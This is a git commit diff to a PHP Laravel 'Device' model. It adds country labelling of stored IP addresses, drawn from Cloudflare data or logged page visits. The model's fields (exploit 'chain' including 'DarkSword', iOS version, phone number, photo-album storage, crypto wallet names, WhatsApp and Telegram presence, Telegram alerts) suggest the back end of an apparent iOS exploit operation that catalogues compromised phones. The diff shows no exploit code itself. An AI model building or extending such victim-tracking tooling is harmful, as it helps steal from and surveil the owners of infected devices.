feat: note

app/Models/Device.php

@@ -2,6 +2,7 @@
 
 namespace App\Models;
 
+use App\Support\CfIpCountry;
 use Illuminate\Database\Eloquent\Model;
 use Illuminate\Database\Eloquent\Relations\HasMany;
 
@@ -18,7 +19,7 @@ class Device extends Model
     public const CHAIN_DARKSWORD = 2;
 
     protected $fillable = [
-        'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
+        'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
         'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
         'has_whatsapp', 'has_telegram',
     ];
@@ -44,6 +45,38 @@ class Device extends Model
         ];
     }
 
+    public function formattedIp(): string
+    {
+        $ip = trim((string) $this->ip);
+        if ($ip === '') {
+            return '';
+        }
+        $label = CfIpCountry::label($this->resolvedCountry());
+
+        return $label !== '' ? $ip.'（'.$label.'）' : $ip;
+    }
+
+    public function resolvedCountry(): ?string
+    {
+        $code = CfIpCountry::normalize($this->country);
+        if ($code !== null) {
+            return $code;
+        }
+        $ip = trim((string) $this->ip);
+        if ($ip === '') {
+            return null;
+        }
+
+        return CfIpCountry::normalize(
+            PageVisit::query()
+                ->where('ip', $ip)
+                ->whereNotNull('country')
+                ->where('country', '!=', '')
+                ->orderByDesc('id')
+                ->value('country')
+        );
+    }
+
     public function isDarkSword(): bool
     {
         return (int) $this->chain === self::CHAIN_DARKSWORD;